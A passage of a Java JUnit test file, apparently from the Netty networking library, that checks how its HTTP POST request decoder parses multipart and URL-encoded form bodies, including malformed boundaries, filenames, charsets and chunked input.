text:
package io.netty.handler.codec.http.multipart;

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufAllocator;
import io.netty.buffer.Unpooled;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.handler.codec.DecoderResult;
import io.netty.handler.codec.http.DefaultFullHttpRequest;
import io.netty.handler.codec.http.DefaultHttpContent;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.DefaultLastHttpContent;
import io.netty.handler.codec.http.FullHttpRequest;
import io.netty.handler.codec.http.HttpHeaderNames;
import io.netty.handler.codec.http.HttpHeaderValues;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequest;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.handler.codec.http.LastHttpContent;
import io.netty.util.CharsetUtil;
import org.junit.Test;

import java.net.URLEncoder;
import java.nio.charset.UnsupportedCharsetException;
import java.util.Arrays;

import static org.junit.Assert.*;

/**
 * {@link HttpPostRequestDecoder} test case.
 */
public class HttpPostRequestDecoderTest {

    @Test
    public void testBinaryStreamUploadWithSpace() throws Exception {
        testBinaryStreamUpload(true);
    }

    // https://github.com/netty/netty/issues/1575
    @Test
    public void testBinaryStreamUploadWithoutSpace() throws Exception {
        testBinaryStreamUpload(false);
    }

    private static void testBinaryStreamUpload(boolean withSpace) throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";
        final String contentTypeValue;
        if (withSpace) {
            contentTypeValue = "multipart/form-data; boundary=" + boundary;
        } else {
            contentTypeValue = "multipart/form-data;boundary=" + boundary;
        }
        final DefaultHttpRequest req = new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");

        req.setDecoderResult(DecoderResult.SUCCESS);
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, contentTypeValue);
        req.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);

        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);

        for (String data : Arrays.asList("", "\r", "\r\r", "\r\r\r")) {
            final String body =
                    "--" + boundary + "\r\n" +
                            "Content-Disposition: form-data; name=\"file\"; filename=\"tmp-0.txt\"\r\n" +
                            "Content-Type: image/gif\r\n" +
                            "\r\n" +
                            data + "\r\n" +
                            "--" + boundary + "--\r\n";

            // Create decoder instance to test.
            final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);

            decoder.offer(new DefaultHttpContent(Unpooled.copiedBuffer(body, CharsetUtil.UTF_8)));
            decoder.offer(new DefaultHttpContent(Unpooled.EMPTY_BUFFER));

            // Validate it's enough chunks to decode upload.
            assertTrue(decoder.hasNext());

            // Decode binary upload.
            MemoryFileUpload upload = (MemoryFileUpload) decoder.next();

            // Validate data has been parsed correctly as it was passed into request.
            assertEquals("Invalid decoded data [data=" + data.replaceAll("\r", "\\\\r") + ", upload=" + upload + ']',
                    data, upload.getString(CharsetUtil.UTF_8));
            upload.release();
            decoder.destroy();
        }
    }

    // See https://github.com/netty/netty/issues/1089
    @Test
    public void testFullHttpRequestUpload() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");

        req.setDecoderResult(DecoderResult.SUCCESS);
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        req.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);

        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);

        for (String data : Arrays.asList("", "\r", "\r\r", "\r\r\r")) {
            final String body =
                    "--" + boundary + "\r\n" +
                            "Content-Disposition: form-data; name=\"file\"; filename=\"tmp-0.txt\"\r\n" +
                            "Content-Type: image/gif\r\n" +
                            "\r\n" +
                            data + "\r\n" +
                            "--" + boundary + "--\r\n";

            req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8));
        }
        // Create decoder instance to test.
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        decoder.destroy();
    }

    // See https://github.com/netty/netty/issues/2544
    @Test
    public void testMultipartCodecWithCRasEndOfAttribute() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";

        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        // Build test case
        String extradata = "aaaa";
        String[] datas = new String[5];
        for (int i = 0; i < 4; i++) {
            datas[i] = extradata;
            for (int j = 0; j < i; j++) {
                datas[i] += '\r';
            }
        }

        for (int i = 0; i < 4; i++) {
            final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                    "http://localhost");
            req.setDecoderResult(DecoderResult.SUCCESS);
            req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
            req.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);
            final String body =
                    "--" + boundary + "\r\n" +
                            "Content-Disposition: form-data; name=\"file" + i + "\"\r\n" +
                            "Content-Type: image/gif\r\n" +
                            "\r\n" +
                            datas[i] + "\r\n" +
                            "--" + boundary + "--\r\n";

            req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8));
            // Create decoder instance to test.
            final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
            assertFalse(decoder.getBodyHttpDatas().isEmpty());
            // Check correctness: data size
            InterfaceHttpData httpdata = decoder.getBodyHttpData("file" + i);
            assertNotNull(httpdata);
            Attribute attribute = (Attribute) httpdata;
            byte[] datar = attribute.get();
            assertNotNull(datar);
            assertEquals(datas[i].getBytes(CharsetUtil.UTF_8).length, datar.length);

            decoder.destroy();
        }
    }

    // See https://github.com/netty/netty/issues/2542
    @Test
    public void testQuotedBoundary() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");

        req.setDecoderResult(DecoderResult.SUCCESS);
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=\"" + boundary + '"');
        req.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);

        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);

        for (String data : Arrays.asList("", "\r", "\r\r", "\r\r\r")) {
            final String body =
                    "--" + boundary + "\r\n" +
                            "Content-Disposition: form-data; name=\"file\"; filename=\"tmp-0.txt\"\r\n" +
                            "Content-Type: image/gif\r\n" +
                            "\r\n" +
                            data + "\r\n" +
                            "--" + boundary + "--\r\n";

            req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8));
        }
        // Create decoder instance to test.
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        decoder.destroy();
    }

    // See https://github.com/netty/netty/issues/1848
    @Test
    public void testNoZeroOut() throws Exception {
        final String boundary = "E832jQp_Rq2ErFmAduHSR8YlMSm0FCY";

        final DefaultHttpDataFactory aMemFactory = new DefaultHttpDataFactory(false);

        DefaultHttpRequest aRequest = new DefaultHttpRequest(HttpVersion.HTTP_1_1,
                HttpMethod.POST,
                "http://localhost");
        aRequest.headers().set(HttpHeaderNames.CONTENT_TYPE,
                "multipart/form-data; boundary=" + boundary);
        aRequest.headers().set(HttpHeaderNames.TRANSFER_ENCODING,
                HttpHeaderValues.CHUNKED);

        HttpPostRequestDecoder aDecoder = new HttpPostRequestDecoder(aMemFactory, aRequest);

        final String aData = "some data would be here. the data should be long enough that it " +
                "will be longer than the original buffer length of 256 bytes in " +
                "the HttpPostRequestDecoder in order to trigger the issue. Some more " +
                "data just to be on the safe side.";

        final String body =
                "--" + boundary + "\r\n" +
                        "Content-Disposition: form-data; name=\"root\"\r\n" +
                        "Content-Type: text/plain\r\n" +
                        "\r\n" +
                        aData +
                        "\r\n" +
                        "--" + boundary + "--\r\n";

        byte[] aBytes = body.getBytes();

        int split = 125;

        ByteBufAllocator aAlloc = new UnpooledByteBufAllocator(true);
        ByteBuf aSmallBuf = aAlloc.heapBuffer(split, split);
        ByteBuf aLargeBuf = aAlloc.heapBuffer(aBytes.length - split, aBytes.length - split);

        aSmallBuf.writeBytes(aBytes, 0, split);
        aLargeBuf.writeBytes(aBytes, split, aBytes.length - split);

        aDecoder.offer(new DefaultHttpContent(aSmallBuf));
        aDecoder.offer(new DefaultHttpContent(aLargeBuf));

        aDecoder.offer(LastHttpContent.EMPTY_LAST_CONTENT);

        assertTrue("Should have a piece of data", aDecoder.hasNext());

        InterfaceHttpData aDecodedData = aDecoder.next();
        assertEquals(InterfaceHttpData.HttpDataType.Attribute, aDecodedData.getHttpDataType());

        Attribute aAttr = (Attribute) aDecodedData;
        assertEquals(aData, aAttr.getValue());

        aDecodedData.release();
        aDecoder.destroy();
    }

    // See https://github.com/netty/netty/issues/2305
    @Test
    public void testChunkCorrect() throws Exception {
        String payload = "town=794649819&town=784444184&town=794649672&town=794657800&town=" +
                "794655734&town=794649377&town=794652136&town=789936338&town=789948986&town=" +
                "789949643&town=786358677&town=794655880&town=786398977&town=789901165&town=" +
                "789913325&town=789903418&town=789903579&town=794645251&town=794694126&town=" +
                "794694831&town=794655274&town=789913656&town=794653956&town=794665634&town=" +
                "789936598&town=789904658&town=789899210&town=799696252&town=794657521&town=" +
                "789904837&town=789961286&town=789958704&town=789948839&town=789933899&town=" +
                "793060398&town=794659180&town=794659365&town=799724096&town=794696332&town=" +
                "789953438&town=786398499&town=794693372&town=789935439&town=794658041&town=" +
                "789917595&town=794655427&town=791930372&town=794652891&town=794656365&town=" +
                "789960339&town=794645586&town=794657688&town=794697211&town=789937427&town=" +
                "789902813&town=789941130&town=794696907&town=789904328&town=789955151&town=" +
                "789911570&town=794655074&town=789939531&town=789935242&town=789903835&town=" +
                "789953800&town=794649962&town=789939841&town=789934819&town=789959672&town=" +
                "794659043&town=794657035&town=794658938&town=794651746&town=794653732&town=" +
                "794653881&town=786397909&town=794695736&town=799724044&town=794695926&town=" +
                "789912270&town=794649030&town=794657946&town=794655370&town=794659660&town=" +
                "794694617&town=799149862&town=789953234&town=789900476&town=794654995&town=" +
                "794671126&town=789908868&town=794652942&town=789955605&town=789901934&town=" +
                "789950015&town=789937922&town=789962576&town=786360170&town=789954264&town=" +
                "789911738&town=789955416&town=799724187&town=789911879&town=794657462&town=" +
                "789912561&town=789913167&town=794655195&town=789938266&town=789952099&town=" +
                "794657160&town=789949414&town=794691293&town=794698153&town=789935636&town=" +
                "789956374&town=789934635&town=789935475&town=789935085&town=794651425&town=" +
                "794654936&town=794655680&town=789908669&town=794652031&town=789951298&town=" +
                "789938382&town=794651503&town=794653330&town=817675037&town=789951623&town=" +
                "789958999&town=789961555&town=794694050&town=794650241&town=794656286&town=" +
                "794692081&town=794660090&town=794665227&town=794665136&town=794669931";
        DefaultHttpRequest defaultHttpRequest =
                new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/");

        HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(defaultHttpRequest);

        int firstChunk = 10;
        int middleChunk = 1024;

        byte[] payload1 = payload.substring(0, firstChunk).getBytes();
        byte[] payload2 = payload.substring(firstChunk, firstChunk + middleChunk).getBytes();
        byte[] payload3 = payload.substring(firstChunk + middleChunk, firstChunk + middleChunk * 2).getBytes();
        byte[] payload4 = payload.substring(firstChunk + middleChunk * 2).getBytes();

        ByteBuf buf1 = Unpooled.directBuffer(payload1.length);
        ByteBuf buf2 = Unpooled.directBuffer(payload2.length);
        ByteBuf buf3 = Unpooled.directBuffer(payload3.length);
        ByteBuf buf4 = Unpooled.directBuffer(payload4.length);

        buf1.writeBytes(payload1);
        buf2.writeBytes(payload2);
        buf3.writeBytes(payload3);
        buf4.writeBytes(payload4);

        decoder.offer(new DefaultHttpContent(buf1));
        decoder.offer(new DefaultHttpContent(buf2));
        decoder.offer(new DefaultHttpContent(buf3));
        decoder.offer(new DefaultLastHttpContent(buf4));

        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        assertEquals(139, decoder.getBodyHttpDatas().size());

        Attribute attr = (Attribute) decoder.getBodyHttpData("town");
        assertEquals("794649819", attr.getValue());

        decoder.destroy();
        buf1.release();
        buf2.release();
        buf3.release();
        buf4.release();
    }

    // See https://github.com/netty/netty/issues/3326
    @Test
    public void testFilenameContainingSemicolon() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";
        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final String data = "asdf";
        final String filename = "tmp;0.txt";
        final String body =
                "--" + boundary + "\r\n" +
                        "Content-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\n" +
                        "Content-Type: image/gif\r\n" +
                        "\r\n" +
                        data + "\r\n" +
                        "--" + boundary + "--\r\n";

        req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8.name()));
        // Create decoder instance to test.
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        decoder.destroy();
    }

    @Test
    public void testFilenameContainingSemicolon2() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";
        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final String data = "asdf";
        final String filename = "tmp;0.txt";
        final String body =
                "--" + boundary + "\r\n" +
                        "Content-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\n" +
                        "Content-Type: image/gif\r\n" +
                        "\r\n" +
                        data + "\r\n" +
                        "--" + boundary + "--\r\n";

        req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8.name()));
        // Create decoder instance to test.
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        InterfaceHttpData part1 = decoder.getBodyHttpDatas().get(0);
        assertTrue(part1 instanceof FileUpload);
        FileUpload fileUpload = (FileUpload) part1;
        assertEquals("tmp 0.txt", fileUpload.getFilename());
        decoder.destroy();
    }

    @Test
    public void testMultipartRequestWithoutContentTypeBody() {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");

        req.setDecoderResult(DecoderResult.SUCCESS);
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        req.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);

        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);

        for (String data : Arrays.asList("", "\r", "\r\r", "\r\r\r")) {
            final String body =
                    "--" + boundary + "\r\n" +
                            "Content-Disposition: form-data; name=\"file\"; filename=\"tmp-0.txt\"\r\n" +
                            "\r\n" +
                            data + "\r\n" +
                            "--" + boundary + "--\r\n";

            req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8));
        }
        // Create decoder instance to test without any exception.
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        decoder.destroy();
    }

    @Test
    public void testDecodeOtherMimeHeaderFields() throws Exception {
        final String boundary = "74e78d11b0214bdcbc2f86491eeb4902";
        String filecontent = "123456";

        final String body = "--" + boundary + "\r\n" +
                "Content-Disposition: form-data; name=\"file\"; filename=" + "\"" + "attached.txt" + "\"" +
                "\r\n" +
                "Content-Type: application/octet-stream" + "\r\n" +
                "Content-Encoding: gzip" + "\r\n" +
                "\r\n" +
                filecontent +
                "\r\n" +
                "--" + boundary + "--";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1,
                HttpMethod.POST,
                "http://localhost",
                Unpooled.wrappedBuffer(body.getBytes()));
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        req.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        InterfaceHttpData part1 = decoder.getBodyHttpDatas().get(0);
        assertTrue("the item should be a FileUpload", part1 instanceof FileUpload);
        FileUpload fileUpload = (FileUpload) part1;
        byte[] fileBytes = fileUpload.get();
        assertTrue("the filecontent should not be decoded", filecontent.equals(new String(fileBytes)));
        decoder.destroy();
        req.release();
    }

    @Test
    public void testMultipartRequestWithFileInvalidCharset() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";
        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final String data = "asdf";
        final String filename = "tmp;0.txt";
        final String body =
                "--" + boundary + "\r\n" +
                        "Content-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\n" +
                        "Content-Type: image/gif; charset=ABCD\r\n" +
                        "\r\n" +
                        data + "\r\n" +
                        "--" + boundary + "--\r\n";

        req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8));
        // Create decoder instance to test.
        try {
            new HttpPostRequestDecoder(inMemoryFactory, req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertTrue(e.getCause() instanceof UnsupportedCharsetException);
        } finally {
            req.release();
        }
    }

    @Test
    public void testMultipartRequestWithFieldInvalidCharset() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";
        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final String aData = "some data would be here. the data should be long enough that it " +
                "will be longer than the original buffer length of 256 bytes in " +
                "the HttpPostRequestDecoder in order to trigger the issue. Some more " +
                "data just to be on the safe side.";
        final String body =
                "--" + boundary + "\r\n" +
                        "Content-Disposition: form-data; name=\"root\"\r\n" +
                        "Content-Type: text/plain; charset=ABCD\r\n" +
                        "\r\n" +
                        aData +
                        "\r\n" +
                        "--" + boundary + "--\r\n";

        req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8));
        // Create decoder instance to test.
        try {
            new HttpPostRequestDecoder(inMemoryFactory, req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertTrue(e.getCause() instanceof UnsupportedCharsetException);
        } finally {
            req.release();
        }
    }

    @Test
    public void testFormEncodeIncorrect() throws Exception {
        LastHttpContent content = new DefaultLastHttpContent(
                Unpooled.copiedBuffer("project=netty&&project=netty", CharsetUtil.US_ASCII));
        DefaultHttpRequest req = new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/");
        HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(req);
        try {
            decoder.offer(content);
            fail();
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertTrue(e.getCause() instanceof IllegalArgumentException);
        } finally {
            decoder.destroy();
            content.release();
        }
    }

    // https://github.com/netty/netty/pull/7265
    @Test
    public void testDecodeContentDispositionFieldParameters() throws Exception {

        final String boundary = "74e78d11b0214bdcbc2f86491eeb4902";

        String encoding = "utf-8";
        String filename = "attached_файл.txt";
        String filenameEncoded = URLEncoder.encode(filename, encoding);

        final String body = "--" + boundary + "\r\n" +
                "Content-Disposition: form-data; name=\"file\"; filename*=" + encoding + "''" + filenameEncoded +
                "\r\n\r\n" +
                "foo\r\n" +
                "\r\n" +
                "--" + boundary + "--";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1,
                HttpMethod.POST,
                "http://localhost",
                Unpooled.wrappedBuffer(body.getBytes()));

        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        InterfaceHttpData part1 = decoder.getBodyHttpDatas().get(0);
        assertTrue("the item should be a FileUpload", part1 instanceof FileUpload);
        FileUpload fileUpload = (FileUpload) part1;
        assertEquals("the filename should be decoded", filename, fileUpload.getFilename());
        decoder.destroy();
        req.release();
    }

    // https://github.com/netty/netty/pull/7265
    @Test
    public void testDecodeWithLanguageContentDispositionFieldParameters() throws Exception {

        final String boundary = "74e78d11b0214bdcbc2f86491eeb4902";

        String encoding = "utf-8";
        String filename = "attached_файл.txt";
        String language = "anything";
        String filenameEncoded = URLEncoder.encode(filename, encoding);

        final String body = "--" + boundary + "\r\n" +
                "Content-Disposition: form-data; name=\"file\"; filename*=" +
                encoding + "'" + language + "'" + filenameEncoded + "\r\n" +
                "\r\n" +
                "foo\r\n" +
                "\r\n" +
                "--" + boundary + "--";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1,
                HttpMethod.POST,
                "http://localhost",
                Unpooled.wrappedBuffer(body.getBytes()));

        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        InterfaceHttpData part1 = decoder.getBodyHttpDatas().get(0);
        assertTrue("the item should be a FileUpload", part1 instanceof FileUpload);
        FileUpload fileUpload = (FileUpload) part1;
        assertEquals("the filename should be decoded", filename, fileUpload.getFilename());
        decoder.destroy();
        req.release();
    }

    // https://github.com/netty/netty/pull/7265
    @Test
    public void testDecodeMalformedNotEncodedContentDispositionFieldParameters() throws Exception {

        final String boundary = "74e78d11b0214bdcbc2f86491eeb4902";

        final String body = "--" + boundary + "\r\n" +
                "Content-Disposition: form-data; name=\"file\"; filename*=not-encoded\r\n" +
                "\r\n" +
                "foo\r\n" +
                "\r\n" +
                "--" + boundary + "--";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1,
                HttpMethod.POST,
                "http://localhost",
                Unpooled.wrappedBuffer(body.getBytes()));

        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);

        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);

        try {
            new HttpPostRequestDecoder(inMemoryFactory, req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertTrue(e.getCause() instanceof ArrayIndexOutOfBoundsException);
        } finally {
            req.release();
        }
    }

    // https://github.com/netty/netty/pull/7265
    @Test
    public void testDecodeMalformedBadCharsetContentDispositionFieldParameters() throws Exception {

        final String boundary = "74e78d11b0214bdcbc2f86491eeb4902";

        final String body = "--" + boundary + "\r\n" +
                "Content-Disposition: form-data; name=\"file\"; filename*=not-a-charset''filename\r\n" +
                "\r\n" +
                "foo\r\n" +
                "\r\n" +
                "--" + boundary + "--";

        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1,
                HttpMethod.POST,
                "http://localhost",
                Unpooled.wrappedBuffer(body.getBytes()));

        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);

        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);

        try {
            new HttpPostRequestDecoder(inMemoryFactory, req);
            fail("Was expecting an ErrorDataDecoderException");
        } catch (HttpPostRequestDecoder.ErrorDataDecoderException e) {
            assertTrue(e.getCause() instanceof UnsupportedCharsetException);
        } finally {
            req.release();
        }
    }

    // https://github.com/netty/netty/issues/7620
    @Test
    public void testDecodeMalformedEmptyContentTypeFieldParameters() throws Exception {
        final String boundary = "dLV9Wyq26L_-JQxk6ferf-RT153LhOO";
        final DefaultFullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST,
                "http://localhost");
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + boundary);
        // Force to use memory-based data.
        final DefaultHttpDataFactory inMemoryFactory = new DefaultHttpDataFactory(false);
        final String data = "asdf";
        final String filename = "tmp-0.txt";
        final String body =
                "--" + boundary + "\r\n" +
                        "Content-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\n" +
                        "Content-Type: \r\n" +
                        "\r\n" +
                        data + "\r\n" +
                        "--" + boundary + "--\r\n";

        req.content().writeBytes(body.getBytes(CharsetUtil.UTF_8.name()));
        // Create decoder instance to test.
        final HttpPostRequestDecoder decoder = new HttpPostRequestDecoder(inMemoryFactory, req);
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        InterfaceHttpData part1 = decoder.getBodyHttpDatas().get(0);
        assertTrue(part1 instanceof FileUpload);
        FileUpload fileUpload = (FileUpload) part1;
        assertEquals("tmp-0.txt", fileUpload.getFilename());
        decoder.destroy();
    }

    // https://github.com/netty/netty/issues/8575
    @Test
    public void testMultipartRequest() throws Exception {
        String BOUNDARY = "01f136d9282f";

        byte[] bodyBytes = ("--" + BOUNDARY + "\n" +
            "Content-Disposition: form-data; name=\"msg_id\"\n" +
            "\n" +
            "15200\n" +
            "--" + BOUNDARY + "\n" +
            "Content-Disposition: form-data; name=\"msg\"\n" +
            "\n" +
            "test message\n" +
            "--" + BOUNDARY + "--").getBytes();
        ByteBuf byteBuf = Unpooled.directBuffer(bodyBytes.length);
        byteBuf.writeBytes(bodyBytes);

        FullHttpRequest req = new DefaultFullHttpRequest(HttpVersion.HTTP_1_0, HttpMethod.POST, "/up", byteBuf);
        req.headers().add(HttpHeaderNames.CONTENT_TYPE, "multipart/form-data; boundary=" + BOUNDARY);

        HttpPostRequestDecoder decoder =
                new HttpPostRequestDecoder(new DefaultHttpDataFactory(DefaultHttpDataFactory.MINSIZE),
                        req,
                        CharsetUtil.UTF_8);

        assertTrue(decoder.isMultipart());
        assertFalse(decoder.getBodyHttpDatas().isEmpty());
        assertEquals(2, decoder.getBodyHttpDatas().size());

        Attribute attrMsg = (Attribute) decoder.getBodyHttpData("msg");
        assertTrue(attrMsg.getByteBuf().isDirect());
        assertEquals("test message", attrMsg.getValue());
        Attribute attrMsgId = (Attribute) decoder.getBodyHttpData("msg_id");
        assertTrue(attrMsgId.getByteBuf().isDirect());
        assertEquals("15200", attrMsgId.getValue());

        decoder.destroy();
        assertTrue(req.release());
    }

    @Test(expected = HttpPostRequestDecoder.ErrorDataDecoderException.class)
    public void testNotLeak() {
        FullHttpRequest request = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/",
                Unpooled.copiedBuffer("a=1&&b=2", CharsetUtil.US_ASCII));
        try {
            new HttpPostStandardRequestDecoder(request);
        } finally {
            assertTrue(request.release());
        }
    }

    @Test(expected = HttpPostRequestDecoder.ErrorDataDecoderException.class)
    public void testNotLeakDirectBufferWhenWrapIllegalArgumentException() {
        testNotLeakWhenWrapIllegalArgumentException(Unpooled.directBuffer());
    }

    @Test(expected = HttpPostRequestDecoder.ErrorDataDecoderException.class)
    public void testNotLeakHeapBufferWhenWrapIllegalArgumentException() {
        testNotLeakWhenWrapIllegalArgumentException(Unpooled.buffer());
    }

    private static void testNotLeakWhenWrapIllegalArgumentException(ByteBuf buf) {
        buf.writeCharSequence("a=b&foo=%22bar%22&==", CharsetUtil.US_ASCII);
        FullHttpRequest request = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/", buf);
        try {
            new HttpPostStandardRequestDecoder(request);
        } finally {
            assertTrue(request.release());
        }
    }

    @Test
    public void testMultipartFormDataContentType() {
        HttpRequest request = new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "/");
        assertFalse(HttpPostRequestDecoder.isMultipart(request));

        String multipartDataValue = HttpHeaderValues.MULTIPART_FORM_DATA + ";" + "boundary=gc0p4Jq0M2Yt08jU534c0p";
        request.headers().set(HttpHeaderNames.CONTENT_TYPE, ";" + multipartDataValue);
